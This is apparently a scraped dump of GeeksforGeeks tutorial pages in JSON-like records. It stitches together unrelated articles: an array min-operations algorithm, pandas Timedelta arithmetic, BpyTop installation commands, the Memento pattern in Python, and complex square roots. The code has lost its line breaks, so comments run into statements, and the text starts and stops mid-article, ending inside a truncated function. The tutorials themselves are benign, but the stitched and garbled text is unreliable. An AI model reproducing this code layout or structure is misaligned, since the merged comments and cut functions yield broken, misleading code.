{ // Pair class which will store element of array with its // index public static class Pair { int val; int idx; Pair(int val, int idx) { this.val = val; this.idx = idx; } } // Driver code public static void main(String[] args) { int n = 5; int[] arr = { 4, 7, 2, 3, 9 }; System.out.println(minOperations(arr, n)); } // Function to find minimum number of operation required // so that array becomes meaningful public static int minOperations(int[] arr, int n) { // Initializing array of Pair type which can be used // to sort arr with respect to its values Pair[] num = new Pair[n]; for (int i = 0; i < n; i++) { num[i] = new Pair(arr[i], i); } // Sorting array num on the basis of value Arrays.sort(num, (Pair a, Pair b) -> a.val - b.val); // Initializing variables used to find maximum // length of increasing streak in index int res = 1; int streak = 1; int prev = num[0].idx; for (int i = 1; i < n; i++) { if (prev < num[i].idx) { res++; // Updating streak streak = Math.max(res, streak); } else res = 1; prev = num[i].idx; } // Returning number of elements left except streak return n - streak; }}", "e": 46856, "s": 45335, "text": null }, { "code": "# Python algorithm of above approach # Function to find minimum number of operation required# so that array becomes meaningfuldef minOperations(arr, n): # Initializing vector of pair type which contains value # and index of arr vect = [] for i in range(n): vect.append([arr[i], i]) # Sorting array num on the basis of value vect.sort() # Initializing variables used to find maximum # length of increasing streak in index res = 1 streak = 1 prev = vect[0][1] for i in range(1,n): if (prev < vect[i][1]): res += 1 # Updating streak streak = max(streak, res) else: res = 1 prev = vect[i][1] # Returning number of elements left except streak return n - streak # Driver codearr = [ 4, 7, 2, 3, 9 ]n = len(arr)count = minOperations(arr, n)print(count) # This code is contributed by shinjanpatra.", "e": 47765, "s": 46856, "text": null }, { "code": "<script> // JavaScript algorithm of above approach // Function to find minimum number of operation required// so that array becomes meaningfulfunction minOperations(arr, n){ // Initializing vector of pair type which contains value // and index of arr let vect = []; for (let i = 0; i < n; i++) { vect.push([arr[i], i]); } // Sorting array num on the basis of value vect.sort(); // Initializing variables used to find maximum // length of increasing streak in index let res = 1; let streak = 1; let prev = vect[0][1]; for (let i = 1; i < n; i++) { if (prev < vect[i][1]) { res++; // Updating streak streak = Math.max(streak, res); } else res = 1; prev = vect[i][1]; } // Returning number of elements left except streak return n - streak;} // driver ocdelet arr = [ 4, 7, 2, 3, 9 ];let n = arr.length;let count = minOperations(arr, n);document.write(count,\"</br>\"); // This code is contributed by shinjanpatra.</script>", "e": 48815, "s": 47765, "text": null }, { "code": null, "e": 48817, "s": 48815, "text": "2" }, { "code": null, "e": 48843, "s": 48817, "text": "Time complexity: O(nlogn)" }, { "code": null, "e": 48865, "s": 48843, "text": "Auxiliary Space: O(n)" }, { "code": null, "e": 48879, "s": 48865, "text": "bikram2001jha" }, { "code": null, "e": 48885, "s": 48879, "text": "ukasp" }, { "code": null, "e": 48903, "s": 48885, "text": "divyeshrabadiya07" }, { "code": null, "e": 48916, "s": 48903, "text": "grand_master" }, { "code": null, "e": 48930, "s": 48916, "text": "divyesh072019" }, { "code": null, "e": 48946, "s": 48930, "text": "mayanktyagi1709" }, { "code": null, "e": 48955, "s": 48946, "text": "mukesh07" }, { "code": null, "e": 48968, "s": 48955, "text": "anilyogi2801" }, { "code": null, "e": 48977, "s": 48968, "text": "suresh07" }, { "code": null, "e": 48986, "s": 48977, "text": "Kdheeraj" }, { "code": null, "e": 49001, "s": 48986, "text": "sagar0719kumar" }, { "code": null, "e": 49020, "s": 49001, "text": "surindertarika1234" }, { "code": null, "e": 49033, "s": 49020, "text": "shinjanpatra" }, { "code": null, "e": 49047, "s": 49033, "text": "sumitgumber28" }, { "code": null, "e": 49063, "s": 49047, "text": "array-rearrange" }, { "code": null, "e": 49070, "s": 49063, "text": "Arrays" }, { "code": null, "e": 49090, "s": 49070, "text": "Dynamic Programming" }, { "code": null, "e": 49103, "s": 49090, "text": "Mathematical" }, { "code": null, "e": 49113, "s": 49103, "text": "Recursion" }, { "code": null, "e": 49121, "s": 49113, "text": "Sorting" }, { "code": null, "e": 49128, "s": 49121, "text": "Arrays" }, { "code": null, "e": 49148, "s": 49128, "text": "Dynamic Programming" }, { "code": null, "e": 49161, "s": 49148, "text": "Mathematical" }, { "code": null, "e": 49171, "s": 49161, "text": "Recursion" }, { "code": null, "e": 49179, "s": 49171, "text": "Sorting" }, { "code": null, "e": 49277, "s": 49179, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 49345, "s": 49277, "text": "Maximum and minimum of an array using minimum number of comparisons" }, { "code": null, "e": 49389, "s": 49345, "text": "Top 50 Array Coding Problems for Interviews" }, { "code": null, "e": 49437, "s": 49389, "text": "Stack Data Structure (Introduction and Program)" }, { "code": null, "e": 49460, "s": 49437, "text": "Introduction to Arrays" }, { "code": null, "e": 49492, "s": 49460, "text": "Multidimensional Arrays in Java" }, { "code": null, "e": 49521, "s": 49492, "text": "0-1 Knapsack Problem | DP-10" }, { "code": null, "e": 49551, "s": 49521, "text": "Program for Fibonacci numbers" }, { "code": null, "e": 49585, "s": 49551, "text": "Longest Common Subsequence | DP-4" }, { "code": null, "e": 49616, "s": 49585, "text": "Bellman–Ford Algorithm | DP-23" } ]
Addition and Subtraction on TimeDelta objects using Pandas - Python - GeeksforGeeks
29 Aug, 2020 TimeDelta module is used to represent the time in the pandas module and can be used in various ways. Performing operations like addition and subtraction are very important for every language but performing these tasks on dates and time can be very valuable. Operations on TimeDelta dataframe or series – 1) Addition – df['Result'] = df['TimeDelta1'] + df['TimeDelta2'] 2) Subtraction – df['Result'] = df['TimeDelta1'] - df['TimeDelta2'] Return: Return the dataframe after operations is performed. Example #1 : In this example, we can see that by using various operations on date and time, we are able to get the addition and subtraction on the dataframe having TimeDelta object values. Python3 # import pandas and numpyimport pandas as pdimport numpy as np # Perform addition operationa = pd.Series(pd.date_range('2020-8-10', periods=5, freq='D'))b = pd.Series([pd.Timedelta(days=i) for i in range(5)]) gfg = pd.DataFrame({'A': a, 'B': b})gfg['Result'] = gfg['A'] + gfg['B'] print(gfg) Output : A B Result 0 2020-08-10 0 days 2020-08-10 1 2020-08-11 1 days 2020-08-12 2 2020-08-12 2 days 2020-08-14 3 2020-08-13 3 days 2020-08-16 4 2020-08-14 4 days 2020-08-18 Example #2 : Python3 # import pandas and numpyimport pandas as pdimport numpy as np # Perform addition operationa = pd.Series(pd.date_range('2020-8-10', periods=4, freq='D'))b = pd.Series([pd.Timedelta(days=i) for i in range(4)]) gfg = pd.DataFrame({'A': a, 'B': b})gfg['Result'] = gfg['A'] - gfg['B'] print(gfg) Output : A B Result 0 2020-08-10 0 days 2020-08-10 1 2020-08-11 1 days 2020-08-10 2 2020-08-12 2 days 2020-08-10 3 2020-08-13 3 days 2020-08-10 Python pandas-datetime Python-pandas Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Install PIP on Windows ? Check if element exists in list in Python How To Convert Python Dictionary To JSON? How to drop one or multiple columns in Pandas Dataframe Python Classes and Objects Python | os.path.join() method Create a directory in Python Defaultdict in Python Python | Get unique values from a list Python | Pandas dataframe.groupby()
[ { "code": null, "e": 25665, "s": 25637, "text": "\n29 Aug, 2020" }, { "code": null, "e": 25924, "s": 25665, "text": "TimeDelta module is used to represent the time in the pandas module and can be used in various ways. Performing operations like addition and subtraction are very important for every language but performing these tasks on dates and time can be very valuable. " }, { "code": null, "e": 25971, "s": 25924, "text": "Operations on TimeDelta dataframe or series – " }, { "code": null, "e": 25986, "s": 25971, "text": "1) Addition – " }, { "code": null, "e": 26037, "s": 25986, "text": "df['Result'] = df['TimeDelta1'] + df['TimeDelta2']" }, { "code": null, "e": 26055, "s": 26037, "text": "2) Subtraction – " }, { "code": null, "e": 26106, "s": 26055, "text": "df['Result'] = df['TimeDelta1'] - df['TimeDelta2']" }, { "code": null, "e": 26166, "s": 26106, "text": "Return: Return the dataframe after operations is performed." }, { "code": null, "e": 26179, "s": 26166, "text": "Example #1 :" }, { "code": null, "e": 26355, "s": 26179, "text": "In this example, we can see that by using various operations on date and time, we are able to get the addition and subtraction on the dataframe having TimeDelta object values." }, { "code": null, "e": 26363, "s": 26355, "text": "Python3" }, { "code": "# import pandas and numpyimport pandas as pdimport numpy as np # Perform addition operationa = pd.Series(pd.date_range('2020-8-10', periods=5, freq='D'))b = pd.Series([pd.Timedelta(days=i) for i in range(5)]) gfg = pd.DataFrame({'A': a, 'B': b})gfg['Result'] = gfg['A'] + gfg['B'] print(gfg)", "e": 26658, "s": 26363, "text": null }, { "code": null, "e": 26667, "s": 26658, "text": "Output :" }, { "code": null, "e": 26709, "s": 26667, "text": " A B Result" }, { "code": null, "e": 26740, "s": 26709, "text": "0 2020-08-10 0 days 2020-08-10" }, { "code": null, "e": 26771, "s": 26740, "text": "1 2020-08-11 1 days 2020-08-12" }, { "code": null, "e": 26802, "s": 26771, "text": "2 2020-08-12 2 days 2020-08-14" }, { "code": null, "e": 26833, "s": 26802, "text": "3 2020-08-13 3 days 2020-08-16" }, { "code": null, "e": 26864, "s": 26833, "text": "4 2020-08-14 4 days 2020-08-18" }, { "code": null, "e": 26877, "s": 26864, "text": "Example #2 :" }, { "code": null, "e": 26885, "s": 26877, "text": "Python3" }, { "code": "# import pandas and numpyimport pandas as pdimport numpy as np # Perform addition operationa = pd.Series(pd.date_range('2020-8-10', periods=4, freq='D'))b = pd.Series([pd.Timedelta(days=i) for i in range(4)]) gfg = pd.DataFrame({'A': a, 'B': b})gfg['Result'] = gfg['A'] - gfg['B'] print(gfg)", "e": 27180, "s": 26885, "text": null }, { "code": null, "e": 27189, "s": 27180, "text": "Output :" }, { "code": null, "e": 27230, "s": 27189, "text": " A B Result" }, { "code": null, "e": 27261, "s": 27230, "text": "0 2020-08-10 0 days 2020-08-10" }, { "code": null, "e": 27292, "s": 27261, "text": "1 2020-08-11 1 days 2020-08-10" }, { "code": null, "e": 27323, "s": 27292, "text": "2 2020-08-12 2 days 2020-08-10" }, { "code": null, "e": 27354, "s": 27323, "text": "3 2020-08-13 3 days 2020-08-10" }, { "code": null, "e": 27377, "s": 27354, "text": "Python pandas-datetime" }, { "code": null, "e": 27391, "s": 27377, "text": "Python-pandas" }, { "code": null, "e": 27398, "s": 27391, "text": "Python" }, { "code": null, "e": 27496, "s": 27398, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27528, "s": 27496, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 27570, "s": 27528, "text": "Check if element exists in list in Python" }, { "code": null, "e": 27612, "s": 27570, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 27668, "s": 27612, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 27695, "s": 27668, "text": "Python Classes and Objects" }, { "code": null, "e": 27726, "s": 27695, "text": "Python | os.path.join() method" }, { "code": null, "e": 27755, "s": 27726, "text": "Create a directory in Python" }, { "code": null, "e": 27777, "s": 27755, "text": "Defaultdict in Python" }, { "code": null, "e": 27816, "s": 27777, "text": "Python | Get unique values from a list" } ]
How to Install and Use BpyTop Resource Monitoring Tool in Linux? - GeeksforGeeks
06 Oct, 2021 It’s just as critical for terminal users to be able to keep track of their system’s resource use. Knowing how much of your system’s resources are being used allows you to make more educated decisions about general system maintenance. Top and htop are two choices, but they only show a few device metrics including CPU and memory use. Bpytop is a terminal-based resource monitor that shows various device resources in an effective and visually appealing manner. It has a game-inspired theme. The python version of bashtop is bpytop. First, we need to install pip3 using the below command if you already have you can skip this step: $ sudo apt install python3-pip Installing pip3 Now you can install BpyTop using pip3 using the below command: $ sudo pip3 install bpytop Installing BpyTop using pip3 First, we need to install git using the below command if you already have you can skip this step: $ sudo apt-get install git Installing git Now let’s install BpyTop, clone the package from GitHub to your preferred directory: git clone https://github.com/aristocratos/bpytop.git Cloning Bpytop package Change directory to bpytop: $ cd bpytop change directory to bpytop Now install bpytop using the below command: $ sudo make install Installing BpyTop $ sudo snap install bpytop Installing BpyTop using snap store After you’ve installed bpytop with Snap, make sure you grant it the following permissions: $ sudo snap connect bpytop:mount-observe $ sudo snap connect bpytop:network-control $ sudo snap connect bpytop:hardware-observe $ sudo snap connect bpytop:system-observe $ sudo snap connect bpytop:process-control $ sudo snap connect bpytop:physical-memory-observe Grant all permissions Now you can access BpyTop simply by using the below command: $ bpytop Simply type bpytop Now BpyTop should be opened: BpyTop In a nutshell, the bpytop terminal monitoring tool allows you to get a lot of information about your device. Its ease of use and detailed metrics makes it a great tool and a worthy companion during your conquests. Make friends with it, and you’ll reap the benefits of spades. That said, we appreciate your sticking with us to the end, and we hope the guide was as useful as we hoped. how-to-install Linux-Tools Picked How To Installation Guide Linux-Unix Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Install FFmpeg on Windows? How to Add External JAR File to an IntelliJ IDEA Project? How to Set Git Username and Password in GitBash? How to Create and Setup Spring Boot Project in Eclipse IDE? How to Install Jupyter Notebook on MacOS? Installation of Node.js on Linux How to Install FFmpeg on Windows? How to Install Pygame on Windows ? How to Add External JAR File to an IntelliJ IDEA Project? How to Install Jupyter Notebook on MacOS?
[ { "code": null, "e": 26774, "s": 26746, "text": "\n06 Oct, 2021" }, { "code": null, "e": 27306, "s": 26774, "text": "It’s just as critical for terminal users to be able to keep track of their system’s resource use. Knowing how much of your system’s resources are being used allows you to make more educated decisions about general system maintenance. Top and htop are two choices, but they only show a few device metrics including CPU and memory use. Bpytop is a terminal-based resource monitor that shows various device resources in an effective and visually appealing manner. It has a game-inspired theme. The python version of bashtop is bpytop." }, { "code": null, "e": 27405, "s": 27306, "text": "First, we need to install pip3 using the below command if you already have you can skip this step:" }, { "code": null, "e": 27436, "s": 27405, "text": "$ sudo apt install python3-pip" }, { "code": null, "e": 27452, "s": 27436, "text": "Installing pip3" }, { "code": null, "e": 27515, "s": 27452, "text": "Now you can install BpyTop using pip3 using the below command:" }, { "code": null, "e": 27542, "s": 27515, "text": "$ sudo pip3 install bpytop" }, { "code": null, "e": 27571, "s": 27542, "text": "Installing BpyTop using pip3" }, { "code": null, "e": 27669, "s": 27571, "text": "First, we need to install git using the below command if you already have you can skip this step:" }, { "code": null, "e": 27696, "s": 27669, "text": "$ sudo apt-get install git" }, { "code": null, "e": 27711, "s": 27696, "text": "Installing git" }, { "code": null, "e": 27796, "s": 27711, "text": "Now let’s install BpyTop, clone the package from GitHub to your preferred directory:" }, { "code": null, "e": 27849, "s": 27796, "text": "git clone https://github.com/aristocratos/bpytop.git" }, { "code": null, "e": 27872, "s": 27849, "text": "Cloning Bpytop package" }, { "code": null, "e": 27900, "s": 27872, "text": "Change directory to bpytop:" }, { "code": null, "e": 27912, "s": 27900, "text": "$ cd bpytop" }, { "code": null, "e": 27939, "s": 27912, "text": "change directory to bpytop" }, { "code": null, "e": 27983, "s": 27939, "text": "Now install bpytop using the below command:" }, { "code": null, "e": 28003, "s": 27983, "text": "$ sudo make install" }, { "code": null, "e": 28021, "s": 28003, "text": "Installing BpyTop" }, { "code": null, "e": 28048, "s": 28021, "text": "$ sudo snap install bpytop" }, { "code": null, "e": 28083, "s": 28048, "text": "Installing BpyTop using snap store" }, { "code": null, "e": 28174, "s": 28083, "text": "After you’ve installed bpytop with Snap, make sure you grant it the following permissions:" }, { "code": null, "e": 28438, "s": 28174, "text": "$ sudo snap connect bpytop:mount-observe\n$ sudo snap connect bpytop:network-control\n$ sudo snap connect bpytop:hardware-observe\n$ sudo snap connect bpytop:system-observe\n$ sudo snap connect bpytop:process-control\n$ sudo snap connect bpytop:physical-memory-observe" }, { "code": null, "e": 28460, "s": 28438, "text": "Grant all permissions" }, { "code": null, "e": 28521, "s": 28460, "text": "Now you can access BpyTop simply by using the below command:" }, { "code": null, "e": 28530, "s": 28521, "text": "$ bpytop" }, { "code": null, "e": 28549, "s": 28530, "text": "Simply type bpytop" }, { "code": null, "e": 28578, "s": 28549, "text": "Now BpyTop should be opened:" }, { "code": null, "e": 28585, "s": 28578, "text": "BpyTop" }, { "code": null, "e": 28969, "s": 28585, "text": "In a nutshell, the bpytop terminal monitoring tool allows you to get a lot of information about your device. Its ease of use and detailed metrics makes it a great tool and a worthy companion during your conquests. Make friends with it, and you’ll reap the benefits of spades. That said, we appreciate your sticking with us to the end, and we hope the guide was as useful as we hoped." }, { "code": null, "e": 28984, "s": 28969, "text": "how-to-install" }, { "code": null, "e": 28996, "s": 28984, "text": "Linux-Tools" }, { "code": null, "e": 29003, "s": 28996, "text": "Picked" }, { "code": null, "e": 29010, "s": 29003, "text": "How To" }, { "code": null, "e": 29029, "s": 29010, "text": "Installation Guide" }, { "code": null, "e": 29040, "s": 29029, "text": "Linux-Unix" }, { "code": null, "e": 29138, "s": 29040, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 29172, "s": 29138, "text": "How to Install FFmpeg on Windows?" }, { "code": null, "e": 29230, "s": 29172, "text": "How to Add External JAR File to an IntelliJ IDEA Project?" }, { "code": null, "e": 29279, "s": 29230, "text": "How to Set Git Username and Password in GitBash?" }, { "code": null, "e": 29339, "s": 29279, "text": "How to Create and Setup Spring Boot Project in Eclipse IDE?" }, { "code": null, "e": 29381, "s": 29339, "text": "How to Install Jupyter Notebook on MacOS?" }, { "code": null, "e": 29414, "s": 29381, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 29448, "s": 29414, "text": "How to Install FFmpeg on Windows?" }, { "code": null, "e": 29483, "s": 29448, "text": "How to Install Pygame on Windows ?" }, { "code": null, "e": 29541, "s": 29483, "text": "How to Add External JAR File to an IntelliJ IDEA Project?" } ]
Memento Method - Python Design Patterns - GeeksforGeeks
01 Feb, 2022 Memento Method is a Behavioral Design pattern which provides the ability to restore an object to its previous state. Without revealing the details of concrete implementations, it allows you to save and restore the previous version of the object. It tries not to disturb the encapsulation of the code and allows you to capture and externalize an object’s internal state. Imagine you are a student who wants to excel in the world of competitive programming but you are facing one problem i.e., finding a nice Code Editor for programming but none of the present code editors fulfills your needs so you trying to make one for yourself. One of the most important features of any Code Editor is UNDO and REDO which essentially you also need. As an inexperienced developer, you just used the direct approach of storing all the performed actions. Of course, this method will work but Inefficiently! Memento-Problem-diagram Let’s discuss the solution to the above-discussed problem. The whole problem can be easily resolved by not disturbing the encapsulation of the code. The problem arises when some objects try to perform extra tasks that are not assigned to them, and due to which they invade the private space of other objects. The Memento pattern represents creating the state snapshots to the actual owner of that state, the originator object. Hence, instead of other objects trying to copy the editor’s state from the “outside, ” the editor class itself can make the snapshot since it has full access to its own state.According to the pattern, we should store the copy of the object’s state in a special object called Memento and the content of the memento objects are not accessible to any other object except the one that produced it. Python3 """Memento class for saving the data""" class Memento: """Constructor function""" def __init__(self, file, content): """put all your file content here""" self.file = file self.content = content """It's a File Writing Utility""" class FileWriterUtility: """Constructor Function""" def __init__(self, file): """store the input file data""" self.file = file self.content = "" """Write the data into the file""" def write(self, string): self.content += string """save the data into the Memento""" def save(self): return Memento(self.file, self.content) """UNDO feature provided""" def undo(self, memento): self.file = memento.file self.content = memento.content """CareTaker for FileWriter""" class FileWriterCaretaker: """saves the data""" def save(self, writer): self.obj = writer.save() """undo the content""" def undo(self, writer): writer.undo(self.obj) if __name__ == '__main__': """create the caretaker object""" caretaker = FileWriterCaretaker() """create the writer object""" writer = FileWriterUtility("GFG.txt") """write data into file using writer object""" writer.write("First vision of GeeksforGeeks\n") print(writer.content + "\n\n") """save the file""" caretaker.save(writer) """again write using the writer """ writer.write("Second vision of GeeksforGeeks\n") print(writer.content + "\n\n") """undo the file""" caretaker.undo(writer) print(writer.content + "\n\n") Following is the UML diagram for Memento’s Method Memento-method-UML-Diagram Encourages Encapsulation: Memento method can help in producing the state of the object without breaking the encapsulation of the client’s code. Simplifies Code: We can take the advantage of caretaker who can help us in simplifying the code by maintaining the history of the originator’s code. Generic Memento’s Implementation: It’s better to use Serialization to achieve memento pattern implementation that is more generic rather than Memento pattern where every object needs to have it’s own Memento class implementation. Huge Memory Consumption: If the Originator’s object is very huge then Memento object size will also be huge and use a lot of memory which is definitely not the efficient way to do the work. Problem with Dynamic Languages: Programming languages like Ruby, Python, and PHP are dynamically typed langauges, can’t give the guarantee that the memento object will not be touched. Difficult Deletion: It’s not easy to delete the memento object because the caretaker has to track the originator’s lifecycle inorder to get th result. UNDO and REDO:Most of the software applications like Paint, Coding IDEs, text editor, and many others provide UNDO and REDO features for the ease of client. Providing Encapsulation: We can use the Memento’s method for avoiding the breakage of encapsulation in the client’s code which might be produced by direct access to the object’s internal implementation. Further Read – Memento Method in Java simmytarika5 sumitgumber28 python-design-pattern Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Python Dictionary Enumerate() in Python Read a file line by line in Python How to Install PIP on Windows ? Iterate over a list in Python Different ways to create Pandas Dataframe Python String | replace() Python program to convert a list to string Create a Pandas DataFrame from Lists Reading and Writing to text files in Python
[ { "code": null, "e": 24086, "s": 24058, "text": "\n01 Feb, 2022" }, { "code": null, "e": 24457, "s": 24086, "text": "Memento Method is a Behavioral Design pattern which provides the ability to restore an object to its previous state. Without revealing the details of concrete implementations, it allows you to save and restore the previous version of the object. It tries not to disturb the encapsulation of the code and allows you to capture and externalize an object’s internal state. " }, { "code": null, "e": 24979, "s": 24457, "text": "Imagine you are a student who wants to excel in the world of competitive programming but you are facing one problem i.e., finding a nice Code Editor for programming but none of the present code editors fulfills your needs so you trying to make one for yourself. One of the most important features of any Code Editor is UNDO and REDO which essentially you also need. As an inexperienced developer, you just used the direct approach of storing all the performed actions. Of course, this method will work but Inefficiently! " }, { "code": null, "e": 25003, "s": 24979, "text": "Memento-Problem-diagram" }, { "code": null, "e": 25827, "s": 25005, "text": "Let’s discuss the solution to the above-discussed problem. The whole problem can be easily resolved by not disturbing the encapsulation of the code. The problem arises when some objects try to perform extra tasks that are not assigned to them, and due to which they invade the private space of other objects. The Memento pattern represents creating the state snapshots to the actual owner of that state, the originator object. Hence, instead of other objects trying to copy the editor’s state from the “outside, ” the editor class itself can make the snapshot since it has full access to its own state.According to the pattern, we should store the copy of the object’s state in a special object called Memento and the content of the memento objects are not accessible to any other object except the one that produced it. " }, { "code": null, "e": 25835, "s": 25827, "text": "Python3" }, { "code": "\"\"\"Memento class for saving the data\"\"\" class Memento: \"\"\"Constructor function\"\"\" def __init__(self, file, content): \"\"\"put all your file content here\"\"\" self.file = file self.content = content \"\"\"It's a File Writing Utility\"\"\" class FileWriterUtility: \"\"\"Constructor Function\"\"\" def __init__(self, file): \"\"\"store the input file data\"\"\" self.file = file self.content = \"\" \"\"\"Write the data into the file\"\"\" def write(self, string): self.content += string \"\"\"save the data into the Memento\"\"\" def save(self): return Memento(self.file, self.content) \"\"\"UNDO feature provided\"\"\" def undo(self, memento): self.file = memento.file self.content = memento.content \"\"\"CareTaker for FileWriter\"\"\" class FileWriterCaretaker: \"\"\"saves the data\"\"\" def save(self, writer): self.obj = writer.save() \"\"\"undo the content\"\"\" def undo(self, writer): writer.undo(self.obj) if __name__ == '__main__': \"\"\"create the caretaker object\"\"\" caretaker = FileWriterCaretaker() \"\"\"create the writer object\"\"\" writer = FileWriterUtility(\"GFG.txt\") \"\"\"write data into file using writer object\"\"\" writer.write(\"First vision of GeeksforGeeks\\n\") print(writer.content + \"\\n\\n\") \"\"\"save the file\"\"\" caretaker.save(writer) \"\"\"again write using the writer \"\"\" writer.write(\"Second vision of GeeksforGeeks\\n\") print(writer.content + \"\\n\\n\") \"\"\"undo the file\"\"\" caretaker.undo(writer) print(writer.content + \"\\n\\n\")", "e": 27417, "s": 25835, "text": null }, { "code": null, "e": 27468, "s": 27417, "text": "Following is the UML diagram for Memento’s Method " }, { "code": null, "e": 27495, "s": 27468, "text": "Memento-method-UML-Diagram" }, { "code": null, "e": 27643, "s": 27499, "text": "Encourages Encapsulation: Memento method can help in producing the state of the object without breaking the encapsulation of the client’s code." }, { "code": null, "e": 27792, "s": 27643, "text": "Simplifies Code: We can take the advantage of caretaker who can help us in simplifying the code by maintaining the history of the originator’s code." }, { "code": null, "e": 28022, "s": 27792, "text": "Generic Memento’s Implementation: It’s better to use Serialization to achieve memento pattern implementation that is more generic rather than Memento pattern where every object needs to have it’s own Memento class implementation." }, { "code": null, "e": 28216, "s": 28026, "text": "Huge Memory Consumption: If the Originator’s object is very huge then Memento object size will also be huge and use a lot of memory which is definitely not the efficient way to do the work." }, { "code": null, "e": 28400, "s": 28216, "text": "Problem with Dynamic Languages: Programming languages like Ruby, Python, and PHP are dynamically typed langauges, can’t give the guarantee that the memento object will not be touched." }, { "code": null, "e": 28551, "s": 28400, "text": "Difficult Deletion: It’s not easy to delete the memento object because the caretaker has to track the originator’s lifecycle inorder to get th result." }, { "code": null, "e": 28712, "s": 28555, "text": "UNDO and REDO:Most of the software applications like Paint, Coding IDEs, text editor, and many others provide UNDO and REDO features for the ease of client." }, { "code": null, "e": 28915, "s": 28712, "text": "Providing Encapsulation: We can use the Memento’s method for avoiding the breakage of encapsulation in the client’s code which might be produced by direct access to the object’s internal implementation." }, { "code": null, "e": 28954, "s": 28915, "text": "Further Read – Memento Method in Java " }, { "code": null, "e": 28967, "s": 28954, "text": "simmytarika5" }, { "code": null, "e": 28981, "s": 28967, "text": "sumitgumber28" }, { "code": null, "e": 29003, "s": 28981, "text": "python-design-pattern" }, { "code": null, "e": 29010, "s": 29003, "text": "Python" }, { "code": null, "e": 29108, "s": 29010, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 29117, "s": 29108, "text": "Comments" }, { "code": null, "e": 29130, "s": 29117, "text": "Old Comments" }, { "code": null, "e": 29148, "s": 29130, "text": "Python Dictionary" }, { "code": null, "e": 29170, "s": 29148, "text": "Enumerate() in Python" }, { "code": null, "e": 29205, "s": 29170, "text": "Read a file line by line in Python" }, { "code": null, "e": 29237, "s": 29205, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 29267, "s": 29237, "text": "Iterate over a list in Python" }, { "code": null, "e": 29309, "s": 29267, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 29335, "s": 29309, "text": "Python String | replace()" }, { "code": null, "e": 29378, "s": 29335, "text": "Python program to convert a list to string" }, { "code": null, "e": 29415, "s": 29378, "text": "Create a Pandas DataFrame from Lists" } ]
Square root of two Complex Numbers - GeeksforGeeks
14 Jun, 2021 Given two positive integers A and B representing the complex number Z in the form of Z = A + i * B, the task is to find the square root of the given complex number. Examples: Input: A = 0, B =1Output:The Square roots are: 0.707107 + 0.707107*i-0.707107 – 0.707107*i Input: A = 4, B = 0Output:The Square roots are: 2-2 Approach: The given problem can be solved based on the following observations: It is known that the square root of a complex number is also a complex number. Then considering the square root of the complex number equal to X + i*Y, the value of (A + i*B) can be expressed as:A + i * B = (X + i * Y) * (X + i * Y)A + i * B = X2 – Y2+ 2 * i * X * Y A + i * B = (X + i * Y) * (X + i * Y) A + i * B = X2 – Y2+ 2 * i * X * Y Equating the value of real and complex parts individually: From the above observations, calculate the value of X and Y using the above formula and print the value (X + i*Y) as the resultant square root value of the given complex number. Below is the implementation of the above approach: C++ Java Python3 Javascript // C++ program for the above approach #include <bits/stdc++.h>using namespace std; // Function to find the square root of// a complex numbervoid complexRoot(int A, int B){ // Stores all the square roots vector<pair<double, double> > ans; // Stores the first square root double X1 = abs(sqrt((A + sqrt(A * A + B * B)) / 2)); double Y1 = B / (2 * X1); // Push the square root in the ans ans.push_back({ X1, Y1 }); // Stores the second square root double X2 = -1 * X1; double Y2 = B / (2 * X2); // If X2 is not 0 if (X2 != 0) { // Push the square root in // the array ans[] ans.push_back({ X2, Y2 }); } // Stores the third square root double X3 = (A - sqrt(A * A + B * B)) / 2; // If X3 is greater than 0 if (X3 > 0) { X3 = abs(sqrt(X3)); double Y3 = B / (2 * X3); // Push the square root in // the array ans[] ans.push_back({ X3, Y3 }); // Stores the fourth square root double X4 = -1 * X3; double Y4 = B / (2 * X4); if (X4 != 0) { // Push the square root // in the array ans[] ans.push_back({ X4, Y4 }); } } // Prints the square roots cout << "The Square roots are: " << endl; for (auto p : ans) { cout << p.first; if (p.second > 0) cout << "+"; if (p.second) cout << p.second << "*i" << endl; else cout << endl; }} // Driver Codeint main(){ int A = 0, B = 1; complexRoot(A, B); return 0;} // Java program for the above approachimport java.util.*; class GFG{ static class pair{ double first, second; public pair(double first, double second) { this.first = first; this.second = second; } } // Function to find the square root of// a complex numberstatic void complexRoot(int A, int B){ // Stores all the square roots Vector<pair> ans = new Vector<pair>(); // Stores the first square root double X1 = Math.abs(Math.sqrt((A + Math.sqrt(A * A + B * B)) / 2)); double Y1 = B / (2 * X1); // Push the square root in the ans ans.add(new pair( X1, Y1 )); // Stores the second square root double X2 = -1 * X1; double Y2 = B / (2 * X2); // If X2 is not 0 if (X2 != 0) { // Push the square root in // the array ans[] ans.add(new pair(X2, Y2)); } // Stores the third square root double X3 = (A - Math.sqrt(A * A + B * B)) / 2; // If X3 is greater than 0 if (X3 > 0) { X3 = Math.abs(Math.sqrt(X3)); double Y3 = B / (2 * X3); // Push the square root in // the array ans[] ans.add(new pair(X3, Y3)); // Stores the fourth square root double X4 = -1 * X3; double Y4 = B / (2 * X4); if (X4 != 0) { // Push the square root // in the array ans[] ans.add(new pair(X4, Y4)); } } // Prints the square roots System.out.print("The Square roots are: " + "\n"); for(pair p : ans) { System.out.printf("%.4f", p.first); if (p.second > 0) System.out.print("+"); if (p.second != 0) System.out.printf("%.4f*i\n", p.second); else System.out.println(); }} // Driver Codepublic static void main(String[] args){ int A = 0, B = 1; complexRoot(A, B);}} // This code is contributed by shikhasingrajput # Python3 program for the above approachfrom math import sqrt # Function to find the square root of# a complex numberdef complexRoot(A, B): # Stores all the square roots ans = [] # Stores the first square root X1 = abs(sqrt((A + sqrt(A * A + B * B)) / 2)) Y1 = B / (2 * 